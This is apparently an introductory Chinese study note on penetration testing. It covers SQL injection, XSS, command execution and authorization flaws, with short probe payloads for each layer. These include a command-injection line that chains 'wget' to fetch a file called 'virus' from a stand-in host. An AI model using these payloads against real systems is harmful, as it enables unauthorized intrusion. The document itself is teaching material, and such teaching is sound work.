【KBOX】渗透测试学前知识

什么是渗透测试

渗透测试是渗透测试工程师通过模拟恶意黑客的攻击方法，来评估计算机网络系统安全的一种评估方法

基本素质

清晰思路、过硬技术、持久细节、沟通能力、职业素养、良好品德

Web漏洞类型

SQL注入、XSS、远程命令执行、越权

SQL注入

通过把SQL命令插入到Web表单提交，或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令

select * from username = "test" or ""="" and password="123456"

XSS

攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入Web里面的Script代码会被执行，从而达到恶意攻击用户的目的

<p style='color:red'>你好，尊敬的xxx<script>alert(/XSS/)<script></p>

远程命令执行

用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，导致执行命令

ping www.example.com & wget www.target.com/virus

(wget是一个下载文件的工具，用在命令行下，支持HTTP、HTTPS和FTP协议，可以使用HTTP代理。wget可以在用户退出系统之后在后台执行，wget非常稳定，在带宽很窄的情况下和不稳定网络中有很强的适应性，若由于网络的原因下载失败，wget会不断的尝试直到整个文件下载完成）

越权

一个正常的用户A通常只能够对自己的一些信息进行增删改查，但是由于程序管理员的疏忽，即对信息进行增删改查的时候不进行对所需要操作的信息是否属于对应的用户的判断，这会导致用户A可以操作其他人的信息

Cookie：uid=1

数据的传输过程（用户的输入到处理到输出）中会出现的漏洞及原因

输入（浏览器）
DOM型XSS：修改浏览器端DOM环境来执行攻击脚本
(文档对象模型，DOM，是一种与平台和语言无关的应用程序接口即API，它可以动态访问程序和脚本，更新其内容、结构和www文档的风格。DOM是一种基于树的API文档，要求在处理过程中整个文档都表示在存储器中)

//简单利用方式：
?id=1%0D%0Alocation:http://www.baidu.com
?id=1;phpinfo();
?id=1 and 1=1
?id=<script>alert(1)</script>

中间件
解析漏洞：利用web server本身功能特性进行攻击
弱口令：管理中间件的口令易被猜解
远程命令执行：中间件本身漏洞导致

//简单利用方式：
GET /?id=1 HTTP/1.1 Location:http://www/baidu.com
GET /?id=1%3Bphpinfo%28%29 HTTP/1.1
GET /?id=1%20and%201%3D1 HTTP/1.1
GET /?id=%3Cscript%3Ealert%281%29%3C%2fscript%3E HTTP/1.1

脚本解析器
代码注入：将字符转化为代码时未过滤用户输入
文件包含：被引用的文件外部可控
上传漏洞：未严格验证上传文件格式
任意下载：对用户要下载的文件未做严格限制

//简单利用方式：
eval("\$a=$_GET['id']");
eval("\$a=1;phpinfo();");
eval("\$a=1 and 1=1;");
eval("\$a=<script>alert(1)</script>");

数据库：
SQL注入：未对外部输入的输入过滤就直接带入数据库进行查询
弱口令：数据库的登录口令易被猜解
未授权访问：数据库未开启认证

//简单利用方式：
SELECT password FROM admin WHERE id = $_GET['id'];
SELECT password FROM admin WHERE id = 1;phpinfo();
SELECT password FROM admin WHERE id = 1 and 1=1;
SELECT password FROM admin WHERE id = <script>alert(1)</script>

输出（浏览器）
反射型XSS：输入、输出数据时未进行过滤
存储型XSS：输入、输出数据时未进行过滤
界面操作劫持：利用透明层和iframe劫持用户的操作

//简单利用方式：
302跳转
phpinfo()信息
<p>password</p>
<p><script>alert(1)</script></p>

中间件

中间件是一类连接软件组件和应用的计算机软件，它包括一组服务，以便于运行在一台或多台机器上的多个软件通过网络进行交互。它包括web服务器、事务监控器和消息队列软件。中间件处于操作系统软件与用户的应用软件的中间

脚本解释器

解释器是一种电脑程序，把高级编程语言一行一行地直接转译运行。解释器不会一次把整个程序转译出来，每次运行程序时都要先转成另一种语言再运行，所以解释器的程序运行速度比较缓慢。关键点是，每转译一行程序叙述就立刻运行，再转译下一行再运行

数据库

SQL，结构化查询语言，是专为数据库而建立的操作命令集，是数据库语言